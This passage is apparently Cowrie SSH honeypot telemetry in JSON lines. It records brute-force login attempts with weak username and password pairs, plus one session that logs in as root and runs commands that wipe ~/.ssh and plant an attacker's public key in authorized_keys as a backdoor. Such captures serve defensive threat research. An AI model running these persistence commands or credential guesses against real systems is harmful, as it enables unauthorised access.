03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:51:32.717528Z","src_ip":"103.134.154.36","session":"89424f0a23c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"123","message":"login attempt [mcserver/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:51:33.660738Z","src_ip":"103.134.154.36","session":"89424f0a23c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:51:34.890892Z","src_ip":"103.134.154.36","session":"89424f0a23c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.200.162","src_port":51224,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bae83510882","protocol":"ssh","message":"New connection: 128.201.200.162:51224 (10.17.0.5:22) [session: 1bae83510882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:51:59.870336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:51:59.874878Z","src_ip":"128.201.200.162","session":"1bae83510882","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:51:59.986986Z","src_ip":"128.201.200.162","session":"1bae83510882","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sofia","password":"sofia123","message":"login attempt [sofia/sofia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:52:00.462185Z","src_ip":"128.201.200.162","session":"1bae83510882","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.89","src_port":38498,"dst_ip":"10.17.0.5","dst_port":22,"session":"254e07a9bd2c","protocol":"ssh","message":"New connection: 165.154.6.89:38498 (10.17.0.5:22) [session: 254e07a9bd2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:52:00.652371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:52:00.657777Z","src_ip":"165.154.6.89","session":"254e07a9bd2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:52:00.873989Z","src_ip":"165.154.6.89","session":"254e07a9bd2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:52:01.576120Z","src_ip":"128.201.200.162","session":"1bae83510882","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root11234","message":"login attempt [root1/root11234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:52:01.768394Z","src_ip":"165.154.6.89","session":"254e07a9bd2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:52:02.985846Z","src_ip":"165.154.6.89","session":"254e07a9bd2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.193.178.240","src_port":39530,"dst_ip":"159.203.135.109","dst_port":22,"session":"62a580359e78","protocol":"ssh","message":"New connection: 103.193.178.240:39530 (159.203.135.109:22) [session: 62a580359e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:52:08.294284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:52:08.370164Z","src_ip":"103.193.178.240","session":"62a580359e78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:52:08.613256Z","src_ip":"103.193.178.240","session":"62a580359e78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"m","password":"1234","message":"login attempt [m/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:52:09.591764Z","src_ip":"103.193.178.240","session":"62a580359e78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:52:10.840516Z","src_ip":"103.193.178.240","session":"62a580359e78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.112.42.129","src_port":22334,"dst_ip":"10.17.0.5","dst_port":22,"session":"4154ab9b637c","protocol":"ssh","message":"New connection: 42.112.42.129:22334 (10.17.0.5:22) [session: 4154ab9b637c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:52:17.119539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:52:17.124121Z","src_ip":"42.112.42.129","session":"4154ab9b637c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:52:17.371604Z","src_ip":"42.112.42.129","session":"4154ab9b637c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vscode","password":"123456","message":"login attempt [vscode/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:52:18.431569Z","src_ip":"42.112.42.129","session":"4154ab9b637c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:52:19.680236Z","src_ip":"42.112.42.129","session":"4154ab9b637c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":56816,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b3ce241f787","protocol":"ssh","message":"New connection: 2.57.122.210:56816 (159.203.135.109:22) [session: 9b3ce241f787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:52:59.229149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:52:59.233721Z","src_ip":"2.57.122.210","session":"9b3ce241f787","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:52:59.338456Z","src_ip":"2.57.122.210","session":"9b3ce241f787","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:52:59.661105Z","src_ip":"2.57.122.210","session":"9b3ce241f787","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:00.768125Z","src_ip":"2.57.122.210","session":"9b3ce241f787","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.52.15.213","src_port":29880,"dst_ip":"10.17.0.5","dst_port":22,"session":"f91de5833d2a","protocol":"ssh","message":"New connection: 152.52.15.213:29880 (10.17.0.5:22) [session: f91de5833d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:30.009042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:30.014705Z","src_ip":"152.52.15.213","session":"f91de5833d2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:30.236886Z","src_ip":"152.52.15.213","session":"f91de5833d2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:31.144484Z","src_ip":"152.52.15.213","session":"f91de5833d2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.61.123.132","src_port":35490,"dst_ip":"10.17.0.5","dst_port":22,"session":"563486869911","protocol":"ssh","message":"New connection: 103.61.123.132:35490 (10.17.0.5:22) [session: 563486869911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:31.794712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:31.802625Z","src_ip":"103.61.123.132","session":"563486869911","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:32.071316Z","src_ip":"103.61.123.132","session":"563486869911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:32.364923Z","src_ip":"152.52.15.213","session":"f91de5833d2a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin@2024","message":"login attempt [root/admin@2024] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:33.177471Z","src_ip":"103.61.123.132","session":"563486869911","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:33.753442Z","src_ip":"103.61.123.132","session":"563486869911","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:33.757187Z","src_ip":"103.61.123.132","session":"563486869911","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:33.761259Z","src_ip":"103.61.123.132","session":"563486869911","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:34.032691Z","src_ip":"103.61.123.132","session":"563486869911","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:34.602517Z","src_ip":"103.61.123.132","session":"563486869911","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:34.606042Z","src_ip":"103.61.123.132","session":"563486869911","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:34.879887Z","src_ip":"103.61.123.132","session":"563486869911","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:34.883852Z","src_ip":"103.61.123.132","session":"563486869911","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.61.123.132","src_port":35500,"dst_ip":"10.17.0.5","dst_port":22,"session":"a65b58d8583e","protocol":"ssh","message":"New connection: 103.61.123.132:35500 (10.17.0.5:22) [session: a65b58d8583e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:35.147215Z"}
